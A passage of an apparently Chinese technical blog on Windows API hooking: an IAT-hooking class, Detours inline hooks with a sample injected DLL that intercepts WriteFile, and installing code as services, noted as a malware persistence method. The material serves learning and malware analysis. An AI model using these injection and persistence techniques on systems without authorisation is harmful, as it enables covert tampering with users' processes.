        DWORD n = 0;  
        //一個IMAGE_THUNK_DATA就是一個匯入函式  
        IMAGE_THUNK_DATA* pThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModCaller + pImportDesc->OriginalFirstThunk);  
        while (pThunk->u1.Function)  
        {  
            //取得函式名稱  
            char* pszFuncName = (char*)((BYTE*)hModCaller+pThunk->u1.AddressOfData+2); //函式名前面有兩個..  
            //printf("function name:%-25s,  ", pszFuncName);  
            //取得函式地址  
            PDWORD lpAddr = (DWORD*)((BYTE*)hModCaller + pImportDesc->FirstThunk) + n; //從第一個函式的地址,以後每次+4位元組  
            //printf("addrss:%X\n", lpAddr);  
            //在這裡是比較的函式地址  
            if (*lpAddr == (DWORD)pfnCurrent)  //找到iat中的函式地址  
            {                                 
                DWORD* lpNewProc = (DWORD*)pfnNewFunc;  
                MEMORY_BASIC_INFORMATION mbi;  
                DWORD dwOldProtect;  
                //修改記憶體頁的保護屬性  
                ::VirtualQuery(lpAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION));  
                ::VirtualProtect(lpAddr, sizeof(DWORD), PAGE_READWRITE, &dwOldProtect);  
                ::WriteProcessMemory(GetCurrentProcess(), lpAddr, &lpNewProc, sizeof(DWORD), NULL);  
                ::VirtualProtect(lpAddr, sizeof(DWORD), dwOldProtect, NULL);  
                return;  
            }             
            n++; //每次增加一個DWORD  
        }     
    }  
}  
  
  
void CAPIHOOK::ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod)  
{  
    //取得當前模組控制程式碼  
    HMODULE hModThis = NULL;  
    if (bExcludeAPIHookMod)  
    {  
        MEMORY_BASIC_INFORMATION mbi;  
        if (0 != ::VirtualQuery(ReplaceIATEntryInAllMods, &mbi, sizeof(MEMORY_BASIC_INFORMATION))) //ReplaceIATEntryInAllMods必須為類的static函式  
        {  
            hModThis = (HMODULE)mbi.AllocationBase;  
        }  
    }  
    //取得本程式的模組列表  
    HANDLE hModuleSnap = INVALID_HANDLE_VALUE;   
    MODULEENTRY32 me32;  
    hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());  
    if (INVALID_HANDLE_VALUE == hModuleSnap)  
    {  
        return;  
    }  
    me32.dwSize = sizeof( MODULEENTRY32 );   
    if( !Module32First( hModuleSnap, &me32 ) )   
    {   
        return;  
    }  
    do   
    { //對每一個模組  
        if (me32.hModule != hModThis)  
        {  
            ReplaceIATEntryInOneMod(pszExportMod, pfnCurrent, pfnNewFunc, me32.hModule);  
        }  
    } while( Module32Next( hModuleSnap, &me32 ) );   
  
  
    ::CloseHandle(hModuleSnap); //配對寫  
  
}  
  
//防止自動載入  
HMODULE WINAPI CAPIHOOK::LoadLibraryA(LPCTSTR lpFileName)  
{  
    HMODULE hModule = LoadLibraryA(lpFileName);  
    HookNewlyLoadedModule(hModule, 0); //這個函式中憶檢測hModule 了  
    return hModule;  
}  
HMODULE WINAPI CAPIHOOK::LoadLibraryW(LPCTSTR lpFileName)  
{  
    HMODULE hModule = LoadLibraryW(lpFileName);  
    HookNewlyLoadedModule(hModule, 0); //這個函式中憶檢測hModule 了  
    return hModule;  
}  
HMODULE WINAPI CAPIHOOK::LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags)  
{  
    HMODULE hModule = LoadLibraryExA(lpFileName, hFile, dwFlags);  
    HookNewlyLoadedModule(hModule, dwFlags); //這個函式中憶檢測hModule 了  
    return hModule;  
}  
HMODULE WINAPI CAPIHOOK::LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags)  
{  
    HMODULE hModule = LoadLibraryExW(lpFileName, hFile, dwFlags);  
    HookNewlyLoadedModule(hModule, dwFlags); //這個函式中憶檢測hModule 了  
    return hModule;  
}  

.h

#pragma once  
#include <Windows.h>  
  
class CAPIHOOK  
{  
public:  
    CAPIHOOK(LPTSTR lpszModName, LPSTR pszFuncName, PROC pfnHook, BOOL bExcludeAPIHookMod = TRUE);  
    ~CAPIHOOK(void);  
  
  
private:  
    static void ReplaceIATEntryInOneMod(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, HMODULE hModCaller);  
    static void ReplaceIATEntryInAllMods(LPCTSTR pszExportMod, PROC pfnCurrent, PROC pfnNewFunc, BOOL bExcludeAPIHookMod);  
    //防止程式執行期間動態載入模組, 當一個新DLL被載入時呼叫  
    static void HookNewlyLoadedModule(HMODULE hModule,  DWORD dwFlags);  
  
  
    //跟蹤當前程式載入新的DLL  
    static HMODULE WINAPI LoadLibraryA(LPCTSTR lpFileName);  
    static HMODULE WINAPI LoadLibraryW(LPCTSTR lpFileName);  
    static HMODULE WINAPI LoadLibraryExA(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags);  
    static HMODULE WINAPI LoadLibraryExW(LPCTSTR lpFileName, HANDLE hFile,  DWORD dwFlags);  
    //防止程式執行期間動態呼叫API函式 對於請求已HOOK的API函式,返回使用者自定義的函式地址  
    static FARPROC WINAPI GetProcess(HMODULE hModule, PCSTR pszProcName);  
  
private: //定義成靜態的,會自動呼叫,從而實現自動HOOK  
    static CAPIHOOK sm_LoadLibraryA;  
    static CAPIHOOK sm_LoadLibraryW;  
    static CAPIHOOK sm_LoadLibraryExA;  
    static CAPIHOOK sm_LoadLibraryExW;  
    static CAPIHOOK sm_GetProcAddress;  
  
private:  
    static CAPIHOOK* sm_pHeader; //鉤子連結串列  
    CAPIHOOK* m_pNext;  
  
    //要鉤子的函式  
    PROC m_pfnOrig;  
    PROC m_pfnHook;  
  
    //要鉤子的函式所在的dll  
    LPSTR m_pszModName;  
    //要鉤子的函式名稱  
    LPSTR m_pszFuncName;  
};  

 

10. Detours - Inline Hook

Detours是一個在x86平臺上截獲任意Win32函式呼叫的工具庫。中斷程式碼可以在執行時動態載入。Detours使用一個無條件轉移指令來替換目 標函式的最初幾條指令,將控制流轉移到一個使用者提供的截獲函式。而目標函式中的一些指令被儲存在一個被稱為“trampoline” (譯註:英文意為蹦 床,雜技)的函式中,在這裡我覺得翻譯成目標函式的部分克隆/拷貝比較貼切。這些指令包括目標函式中被替換的程式碼以及一個重新跳轉到目標函式的無條件分 支。而截獲函式可以替換目標函式,或者通過執行“trampoline”函式的時候將目標函式作為子程式來呼叫的辦法來擴充套件功能。
Detours是執行時被插入的。記憶體中的目標函式的程式碼不是在硬碟上被修改的,因而可以在一個很好的粒度上使得截獲二進位制函式的執行變得更容易。例如, 一個應用程式執行時載入的DLL中的函式過程可以被插入一段截獲程式碼(detoured),與此同時,這個DLL還可以被其他應用程式按正常情況執行(譯 注:也就是按照不被截獲的方式執行,因為DLL二進位制檔案沒有被修改,所以發生截獲時不會影響其他程式空間載入這個DLL)。不同於DLL的重新連結或者 靜態重定向,Detours庫中使用的這種中斷技術確保不會影響到應用程式中的方法或者系統程式碼對目標函式的定位。
如果其他人為了除錯或者在內部使用其他系統檢測手段而試圖修改二進位制程式碼,Detours將是一個可以普遍使用的開發包。據我所知,Detours是第一 個可以在任意平臺上將未修改的目的碼作為一個可以通過“trampoline”呼叫的子程式來保留的開發包。而以前的系統在邏輯上預先將截獲程式碼放到目 標程式碼中,而不是將原始的目的碼做為一個普通的子程式來呼叫。我們獨特的“trampoline”設計對於擴充套件現有的軟體的二進位制程式碼是至關重要的。
出於使用基本的函式截獲功能的目的,Detours同樣提供了編輯任何DLL匯入表的功能,達到向存在的二進位制程式碼中新增任意資料節表的目的,向一個新進 程或者一個已經執行著的程式中注入一個DLL。一旦向一個程式注入了DLL,這個動態庫就可以截獲任何Win32函式,不論它是在應用程式中或者在系統庫中

0x1: 基本原理

1. WIN32程式的記憶體管理

1. WINDOWS NT實現了虛擬儲存器,每一WIN32程式擁有4GB的虛存空間
2. 程式要執行的指令也放在虛存空間中 
3. 可以使用QueryProtectEx函式把存放指令的頁面的許可權更改為可讀可寫可執行,再改寫其內容,從而修改正在執行的程式 
4. 可以使用VirtualAllocEx從一個程式為另一正執行的程式分配虛存,再使用 QueryProtectEx函式把頁面的許可權更改為可讀可寫可執行,並把要執行的指令以二進位制機器碼的形式寫入,從而為一個正在執行的程式注入任意的程式碼(此時的程式碼只是寫入了,還未觸發執行)

2. 攔截WIN32 API的原理

Detours定義了三個概念

1. Target函式:要攔截的函式,通常為Windows的API 
2. Trampoline函式:Target函式的部分複製品。因為Detours將會改寫Target函式,所以先把Target函式的前5個位元組複製儲存好,一方面仍然儲存Target函式的過程呼叫語義,另一方面便於以後的恢復。
3. Detour 函式:用來替代Target函式的函式。 
Detours在Target函式的開頭加入JMP Address_of_ Detour_ Function指令(共5個位元組)把對Target函式 的呼叫引導到自己的Detour函式, 把Target函式的開頭的5個位元組加上JMP Address_of_ Target _ Function+ 5共10個位元組作為Trampoline函式

Detour函式的呼叫過程

1. 目標函式:
目標函式的函式體(二進位制)至少有5個位元組以上。按照微軟的說明文件Trampoline函式的函式體是拷貝前5個位元組加一個無條件跳轉指令的話(如果沒 有特殊處理不可分割指令的話),那麼前5個位元組必須是完整指令,也就是不能第5個位元組和第6個位元組是一條不可分割的指令,否則會造成Trampoline 函式執行錯誤,一條完整的指令被硬性分割開來,造成程式崩潰。對於第5位元組和第6個位元組是不可分割指令需要調整拷貝到雜技函式(Trampoline)的 位元組個數,這個值可以檢視目標函式的彙編程式碼得到。此函式是目標函式的修改版本,不能在Detour函式中直接呼叫,需要通過對Trampoline函式 的呼叫來達到間接呼叫 

2. Trampoline函式:
此函式預設分配了32個位元組,函式的內容就是拷貝的目標函式的前5個位元組,加上一個JMP Address_of_ Target _ Function+5指令,共10個位元組。
此函式僅供您的Detour函式呼叫,執行完前5個位元組的指令後再絕對跳轉到目標函式的第6個位元組繼續執行原功能函式 

3. Detour函式:
此函式是使用者需要的截獲API的一個模擬版本,呼叫方式,引數個數必須和目標函式相一致。如目標函式是__stdcall,則Detour函式宣告也必須 是__stdcall,引數個數和型別也必須相同,否則會造成程式崩潰。此函式在程式呼叫目標函式的第一條指令的時候就會被呼叫(無條件跳轉過來的)。
如果在此函式中想繼續呼叫目標函式,必須呼叫Trampoline函式(Trampoline函式在執行完目標函式的前5個位元組的指令後會無條件跳轉到目標 函式的5個位元組後繼續執行),不能再直接呼叫目標函式,否則將進入無窮遞迴(目標函式跳轉到Detour函式,Detour函式又跳轉到目標函式的遞迴, 因為目標函式在記憶體中的前5個位元組已經被修改成絕對跳轉)(無條件跳轉)。通過對Trampoline函式的呼叫後可以獲取目標函式的執行結果,此特性對分析目標函式非常有用,而且可以將目標函式的輸出結果進行修改後再傳回給應用程式
基於Detour封裝的Hook框架,省去了我們處理call old function的麻煩

Detour提供了向執行中的應用程式注入Detour函式和在二進位制檔案基礎上注入Detour函式兩種方式。我們接下來主要討論第二種工作方式。通過 Detours提供的開發包可以在二進位制EXE檔案中新增一個名稱為Detour的節表,如下圖所示,主要目的是實現PE載入器載入應用程式的時候會自 動載入您編寫的Detours DLL,在Detours Dll中的DLLMain中完成對目標函式的Detour(最終目的還是Inline Hook)

Detour提供了向執行中的應用程式注入Detour函式和在二進位制檔案基礎上注入Detour函式兩種方式。我們接下來主要討論第二種工作方式。通過 Detours提供的開發包可以在二進位制EXE檔案中新增一個名稱為Detour的節表,如下圖所示,主要目的是實現PE載入器載入應用程式的時候會自 動載入您編寫的Detours DLL,在Detours Dll中的DLLMain中完成對目標函式的Detour(最終目的還是Inline Hook)

0x2: Detours提供的截獲API的相關介面

Detours的提供的API 介面可以作為一個共享DLL給外部程式呼叫,也可以作為一個靜態Lib連結到您的程式內部。
Trampoline函式可以動態或者靜態的建立,如果目標函式本身是一個連結符號,使用靜態的trampoline函式將非常簡單。如果目標函式不能在連結時可見,那麼可以使用動態trampoline函式

0x3: 基於Detours Hook Xenos.exe相關API

detours下載地址

http://research.microsoft.com/en-us/downloads/d36340fb-4d3c-4ddd-bf5b-1db25d03713d/default.aspx
http://pan.baidu.com/s/1eQEijtS

編譯Detours工程

開啟VS20xx命令列工具,進入src目錄,x86命令列和x64命令列編譯出來的分別是32bit和64bit的detours lib
使用nmake(linux下是make)命令編譯生成靜態庫

在lib.x86目錄下的.lib檔案是win32平臺下的靜態庫檔案

在include目錄下的是Detours工程的標頭檔案

接下來要確定我們要攔截目標程式中的哪個函式api,我們這裡用IDA Pro檢視一下Xenos.exe

我們選擇WriteFile這個API作為劫持目標

用於劫持的dll程式碼,注意:需要儲存為.c檔案,或者加上extern C,因為detours是使用C語言實現的,表示程式碼使用C的規則進行編譯

// notepad_api_hijack_dll.c : 定義 DLL 應用程式的匯出函式。
//

#include "stdafx.h"

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
// 引入detours標頭檔案
#include "detours.h"

//1.引入detours.lib靜態庫
#pragma comment(lib,"detours64.lib")
  
//2.定義函式指標
static BOOL(WINAPI *oldWriteFile)(
    _In_        HANDLE       hFile,
    _In_        LPCVOID      lpBuffer,
    _In_        DWORD        nNumberOfBytesToWrite,
    _Out_opt_   LPDWORD      lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
) = WriteFile;  
                                                       //3.定義新的函式替代目標函式,需要與目標函式的原型相同
BOOL WINAPI newWriteFile(
    _In_        HANDLE       hFile,
    _In_        LPCVOID      lpBuffer,
    _In_        DWORD        nNumberOfBytesToWrite,
    _Out_opt_   LPDWORD      lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
) { 
    int result = 0; 

    result = MessageBoxA(0, "是否允許寫該檔案", "提示", 1);
    //printf("result = %d", result);
    if (result == 1) // 允許呼叫
    {
        oldWriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); //呼叫舊的函式
    }
    else {
        // 不允許呼叫
    }
    return 0;
}

// 4.攔截
//開始攔截
_declspec(dllexport) void Hook()  // _declspec(dllexport)表示外部可呼叫,需要加上該關鍵字其它程式才能成功呼叫該函式
{
    DetourRestoreAfterWith();//恢復原來狀態(重置)
    DetourTransactionBegin();//攔截開始
    DetourUpdateThread(GetCurrentThread());//重新整理當前執行緒(重新整理生效)
                                           //這裡可以連續多次呼叫DetourAttach,表明HOOK多個函式

    DetourAttach((void **)&oldWriteFile, newWriteFile);//實現函式攔截

    DetourTransactionCommit();//攔截生效
}


//取消攔截
_declspec(dllexport) void UnHook()
{
    DetourTransactionBegin();//攔截開始
    DetourUpdateThread(GetCurrentThread());//重新整理當前執行緒
                                           //這裡可以連續多次呼叫DetourDetach,表明撤銷多個函式HOOK
    DetourDetach((void **)&oldWriteFile, newWriteFile); //撤銷攔截函式
    DetourTransactionCommit();//攔截生效
}

// 劫持別人的程式:通過DLL注入,並呼叫Hook函式實現劫持。
// 劫持系統:通過DLL注入系統程式(如winlogon.exe)實現劫持系統函式。

_declspec(dllexport)  void main() {

    Hook(); // 攔截 
}

編譯得到dll檔案,開啟dll注入工具,點選add,選擇"notepad_api_hijack_dll.dll"

https://coding.net/u/linchaolong/p/DllInjector/git/raw/master/Xenos.exe

點選Advanced,在Init routine中填寫動態庫(dll)中的函式的名稱,我們這裡是main,點選注入後,可以在程式載入dll列表中看到已經注入成功

為了觸發我們的Hook動作,我們隨便儲存一個檔案,可以看到彈框了

這裡需要注意,32bit的dll不能注入64bit的程式,如果我們需要對64bit的程式進行Hook注入,需要編譯出一份64bit的detours dll 

同時需要注意,MS-Detours只能攔截WIN32 API,對原生C++的API無法攔截

0x4: Detours原理

Detours可以完成對目標程式執行時的api的核心原理就是inline hook

JuMP <CustomHookFunction>
RETurn (back to program execution) 
 
1. First he copies his shellcode(hook function) to JMP array(一段新開闢出來的記憶體空間用於存放hook function shellcode):
memcpy(JMP, tempJMP, SIZE);

2. Then he copies the original assembly code bytes from the original address to his temporary storage "oldBytes" so that he can copy it back after his custom function is executed:
memcpy(oldBytes, pOrigMBAddress, SIZE);
將原始被Hook函式入口點附近的彙編程式碼拷貝到一個"跳轉緩衝區"中,這段跳轉緩衝區是Detours維護的,它負責在被hook函式和hook shellcode之間進行轉發

3. Then he copies the address size he previously calculated to JMP array right after the jmp command :
memcpy(&JMP[1], &JMPSize, 4);
將shellcode的jmp跳轉指令拷貝到"跳轉緩衝區"最後

4. Finally his JMP[] array contains the shellcode required to call his function, e.g.
hook function完成邏輯後,需要跳轉回"跳轉緩衝區",在這裡要繼續執行原始被hook函式的一小段彙編,以完成inline hook
memcpy(pOrigMBAddress, JMP, SIZE);

在進行inline hook的時候,要特別注意多核CPU在hook replace過程中的影響,因為多個執行緒有可能"同時"呼叫同一個函式地址,為了解決這個問題,一個好的做法是在inline hook的過程中,把當前程式的所有執行緒都掛起。通過CreateToolhelp32Snapshot和SuspendThread的配合,在完成inline hook後再恢復執行緒

Relevant Link:

http://www.cnblogs.com/flying_bat/archive/2008/04/18/1159996.html
http://blog.csdn.net/zhoujiaxq/article/details/18656951
https://www.microsoft.com/en-us/research/project/detours/
http://blog.csdn.net/linchaolong/article/details/4398755
https://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours

11. 以服務形式執行DLL中指定函式/或直接指定EXE作為啟動程式

一般來說,黑客利用漏洞植入Dll入侵時,會先通過rundll32.exe執行dllmain,dllmain裡會接收並判斷傳入的引數(例如-k,-i等),根據不同的引數執行例如service install,主惡意邏輯執行等

值得注意的是,惡意程式碼執行附加程式碼的另一種方式是將它作為服務安裝,服務同時也提供了另一種在系統上維持持久化駐留的方式。windows作業系統支援多種服務型別,它們以獨特的方式執行

SC_HANDLE WINAPI CreateService(
  _In_      SC_HANDLE hSCManager,
  _In_      LPCTSTR   lpServiceName,
  _In_opt_  LPCTSTR   lpDisplayName,
  _In_      DWORD     dwDesiredAccess,
  _In_      DWORD     dwServiceType,
  _In_      DWORD     dwStartType,
  _In_      DWORD     dwErrorControl,
  _In_opt_  LPCTSTR   lpBinaryPathName,
  _In_opt_  LPCTSTR   lpLoadOrderGroup,
  _Out_opt_ LPDWORD   lpdwTagId,
  _In_opt_  LPCTSTR   lpDependencies,
  _In_opt_  LPCTSTR   lpServiceStartName,
  _In_opt_  LPCTSTR   lpPassword
);

dwServiceType
1. SERVICE_ADAPTER(0x00000004)
2. SERVICE_FILE_SYSTEM_DRIVER(0x00000002): File system driver service.
3. SERVICE_KERNEL_DRIVER(0x00000001): Driver service. 載入程式碼到核心中執行
4. SERVICE_RECOGNIZER_DRIVER(0x00000008): Reserved.
5. SERVICE_WIN32_OWN_PROCESS(0x00000010): Service that runs in its own process. 惡意程式碼有時也會使用,在一個exe中儲存程式碼。並且作為一個獨立的程式執行
6. SERVICE_WIN32_SHARE_PROCESS(0x00000020): Service that shares a process with one or more other services. 惡意程式碼最常使用的就是這個型別,這種型別將服務對應的程式碼儲存在一個DLL中,並且在一個共享的程式中組合多個不同的服務
7. SERVICE_USER_OWN_PROCESS(0x00000050): The service runs in its own process under the logged-on user account.
8. SERVICE_USER_SHARE_PROCESS(0x00000060)

dwStartType 
1. SERVICE_AUTO_START(0x00000002): A service started automatically by the service control manager during system startup.  
2. SERVICE_BOOT_START(0x00000000): A device driver started by the system loader. This value is valid only for driver services.
3. SERVICE_DEMAND_START(0x00000003): A service started by the service control manager when a process calls the StartService function.  
4. SERVICE_DISABLED(0x00000004): A service that cannot be started. Attempts to start the service result in the error code ERROR_SERVICE_DISABLED.
5. SERVICE_SYSTEM_START(0x00000001)

關於本地系統上的服務資訊被儲存在登錄檔中

1. services.msc,然後開啟"remote procedure call"
2. C:\Windows\system32\svchost.exe -k rpcss: 這說明rpcss服務是依靠svchost呼叫"rpcss"引數來實現的,而引數的內容則是存放在系統登錄檔中的 
3. regedit.exe,找到[HKEY_Local_Machine\System\CurrentControlSet\Services\rpcss]項。svchost程式通過讀取"rpcss"服務登錄檔資訊,就能啟動該服務了 
    1) 找到型別為"reg_expand_sz"的鍵"imagepath",其鍵值為"%SystemRoot%\system32\svchost.exe -k rpcss"
    2) 另外在"parameters"子項中有個名為"servicedll"的鍵,其值為"%SystemRoot%\system32\rpcss.dll",其中"rpcss.dll"就是rpcss服務要使用的動態連結庫檔案

0x1: SERVICE_WIN32_OWN_PROCESS: 以獨立程式形式執行服務

At a minimum a service requires the following items:

1. A Main Entry point (like any application)
2. A Service Entry point
3. A Service Control Handler

SampleServiceMain.cpp

#include <Windows.h>
#include <tchar.h>

// need a SERVICE_STATUS structure that will be used to report the status of the service to the Windows Service Control Manager (SCM).
SERVICE_STATUS        g_ServiceStatus = {0};
// need a SERVICE_STATUS_HANDLE that is used to reference our service instance once it is registered with the SCM.
SERVICE_STATUS_HANDLE g_StatusHandle = NULL;
HANDLE                g_ServiceStopEvent = INVALID_HANDLE_VALUE;

VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv);
VOID WINAPI ServiceCtrlHandler (DWORD);
DWORD WINAPI ServiceWorkerThread (LPVOID lpParam);

#define SERVICE_NAME  _T("My Sample Service")

int _tmain (int argc, TCHAR *argv[])
{
    OutputDebugString(_T("My Sample Service: Main: Entry"));

    SERVICE_TABLE_ENTRY ServiceTable[] = 
    {
        {SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
        {NULL, NULL}
    };
    // call StartServiceCtrlDispatcher so the SCM can call your Service Entry point (ServiceMain above). 
    if (StartServiceCtrlDispatcher (ServiceTable) == FALSE)
    {
       OutputDebugString(_T("My Sample Service: Main: StartServiceCtrlDispatcher returned error"));
       return GetLastError ();
    }

    OutputDebugString(_T("My Sample Service: Main: Exit"));
    return 0;
}


VOID WINAPI ServiceMain (DWORD argc, LPTSTR *argv)
{
    DWORD Status = E_FAIL;

    OutputDebugString(_T("My Sample Service: ServiceMain: Entry"));

    //Register the service control handler which will handle Service Stop, Pause, Continue, Shutdown, etc control commands. These are registered via the dwControlsAccepted field of the SERVICE_STATUS structure as a bit mask.
    g_StatusHandle = RegisterServiceCtrlHandler (SERVICE_NAME, ServiceCtrlHandler);

    if (g_StatusHandle == NULL) 
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: RegisterServiceCtrlHandler returned error"));
        goto EXIT;
    } 

    // Tell the service controller we are starting
    // Set Service Status to SERVICE_PENDING then to SERVICE_RUNNING. Set status to SERVICE_STOPPED on any errors and on exit. Always set SERVICE_STATUS.dwControlsAccepted to 0 when setting status to SERVICE_STOPPED or SERVICE_PENDING.
    ZeroMemory (&g_ServiceStatus, sizeof (g_ServiceStatus));
    g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    g_ServiceStatus.dwControlsAccepted = 0;
    g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_ServiceStatus.dwServiceSpecificExitCode = 0;
    g_ServiceStatus.dwCheckPoint = 0;

    if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE) 
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
    }

    /* 
     * Perform tasks neccesary to start the service here
     */
    OutputDebugString(_T("My Sample Service: ServiceMain: Performing Service Start Operations"));

    // Create stop event to wait on later.
    g_ServiceStopEvent = CreateEvent (NULL, TRUE, FALSE, NULL);
    if (g_ServiceStopEvent == NULL) 
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: CreateEvent(g_ServiceStopEvent) returned error"));

        g_ServiceStatus.dwControlsAccepted = 0;
        g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        g_ServiceStatus.dwWin32ExitCode = GetLastError();
        g_ServiceStatus.dwCheckPoint = 1;

        if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE)
        {
            OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
        }
        goto EXIT; 
    }    

    // Tell the service controller we are started
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_ServiceStatus.dwCheckPoint = 0;

    if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
    }

    // Start the thread that will perform the main task of the service
    // Perform start up tasks. Like creating threads/events/mutex/IPCs/etc. 這個dll服務是以執行緒的形式執行的
    HANDLE hThread = CreateThread (NULL, 0, ServiceWorkerThread, NULL, 0, NULL);

    OutputDebugString(_T("My Sample Service: ServiceMain: Waiting for Worker Thread to complete"));

    // Wait until our worker thread exits effectively signaling that the service needs to stop
    WaitForSingleObject (hThread, INFINITE);
    
    OutputDebugString(_T("My Sample Service: ServiceMain: Worker Thread Stop Event signaled"));
    
    
    /* 
     * Perform any cleanup tasks
     */
    OutputDebugString(_T("My Sample Service: ServiceMain: Performing Cleanup Operations"));

    CloseHandle (g_ServiceStopEvent);

    g_ServiceStatus.dwControlsAccepted = 0;
    g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_ServiceStatus.dwCheckPoint = 3;

    if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE)
    {
        OutputDebugString(_T("My Sample Service: ServiceMain: SetServiceStatus returned error"));
    }
    
    EXIT:
    OutputDebugString(_T("My Sample Service: ServiceMain: Exit"));

    return;
}


/*
The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM.
我們在GUI介面上點選啟動、停止的action處理需要ServiceCtrlHandler函式回撥來處理
*/
VOID WINAPI ServiceCtrlHandler (DWORD CtrlCode)
{
    OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Entry"));

    switch (CtrlCode) 
    {
        /*
        here have only implemented and supported the SERVICE_CONTROL_STOP request. 
        we can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others supported by the Handler or HandlerEx function that can be registered with the RegisterServiceCtrlHandler(Ex) function.
        */
     case SERVICE_CONTROL_STOP :

        OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SERVICE_CONTROL_STOP Request"));

        if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
           break;

        /* 
         * Perform tasks neccesary to stop the service here 
         */
        
        g_ServiceStatus.dwControlsAccepted = 0;
        g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
        g_ServiceStatus.dwWin32ExitCode = 0;
        g_ServiceStatus.dwCheckPoint = 4;

        if (SetServiceStatus (g_StatusHandle, &g_ServiceStatus) == FALSE)
        {
            OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: SetServiceStatus returned error"));
        }

        // This will signal the worker thread to start shutting down
        SetEvent (g_ServiceStopEvent);

        break;

     default:
         break;
    }

    OutputDebugString(_T("My Sample Service: ServiceCtrlHandler: Exit"));
}


// This sample Service Worker Thread does nothing but sleep and check to see if the service has received a control to stop. 
// Once a stop control has been received the Service Control Handler sets the g_ServiceStopEvent event. The Service Worker Thread breaks and exits. This signals the Service Main routine to return and effectively stop the service.
DWORD WINAPI ServiceWorkerThread (LPVOID lpParam)
{
    OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Entry"));

    //  Periodically check if the service has been requested to stop
    while (WaitForSingleObject(g_ServiceStopEvent, 0) != WAIT_OBJECT_0)
    {        
        /* 
         * Perform main service function here
         */

        //  Simulate some work by sleeping
        Sleep(3000);
    }

    OutputDebugString(_T("My Sample Service: ServiceWorkerThread: Exit"));

    return ERROR_SUCCESS;
}

這裡有幾點要重點理解

1. 服務程式一般寫成控制檯應用程式,main函式為入口函式(如果是dll就是dllMain函式)
2. main函式的引數在CreateService函式中指定(例如有些惡意軟體在植入時採取無引數形式,而在註冊服務時加入了額外的引數,以此來區分入侵植入和服務自動啟動而走不同的邏輯)
3. 當SCM啟動一個服務程式時,SCM等待服務程式呼叫StartServiceCtrlDispatcher函式,如果服務程式沒有及時呼叫該函式,則會導致啟動服務失敗,所以我們要註冊成服務的exe或者dll裡我麼需要自己實現StartServiceCtrlDispatcher的呼叫邏輯
4. 在分析惡意程式碼的時候,我們會遇到這種情況,exe/dll的main邏輯裡很簡單,只有宣告一個ServiceStartTable服務結構體,設定成員變數,然後就是呼叫StartServiceCtrlDispatcherA啟動真正的邏輯函式

Installing the Service

sc create "My Sample Service" binPath=C:\Users\Administrator\Downloads\SampleService\SampleService\Release\SampleService.exe

登錄檔鍵值

Uninstalling the Service

sc delete "My Sample Service"  

0x2: SERVICE_WIN32_SHARE_PROCESS: 以DLL形式在共享的svchost.exe中執行服務

svchost.exe是一個屬於微軟Windows作業系統的系統程式,微軟官方對它的解釋是:Svchost.exe 是從動態連結庫 (DLL) 中執行的服務的通用主機程式名稱。這個程式對系統的正常執行是非常重要,而且是不能被結束的

程式檔案: svchost or svchost.exe
程式名稱: Generic Host Process for Win32 Services
程式類別: 系統程式
位置: C:\windows\system32\svchost.exe
英文描述:svchost.exe is a system process belonging to the Microsoft Windows Operating System which handles processes executed from DLLs. This program is important for the stable and secure running of your computer and should not be terminated 

svchost.exe是一類通用的程式名稱。它是和執行動態連結庫(DLLs)的Windows系統服務相關的。在機器啟動的時候,svchost.exe檢查登錄檔中的服務,執行並載入它們。經常會有多個svchost.exe同時執行的情況,每一個都表示該計算機上執行的一類基本服

SERVICE_WIN32_SHARE_PROCESS和獨立程式方式本質上沒有區別,唯一區別在於imagepath是一個dll路徑,同時它也支援傳入對應的引數,但是我們在程式列表裡看不到這個dll,而只能看到svchost.exe程式

Relevant Link:

http://baike.baidu.com/item/svchost.exe/552746
https://msdn.microsoft.com/en-us/library/ms683500(v=vs.85).aspx
